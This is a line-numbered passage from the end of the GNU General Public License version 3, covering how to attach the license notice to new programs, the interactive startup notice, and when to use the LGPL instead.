AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------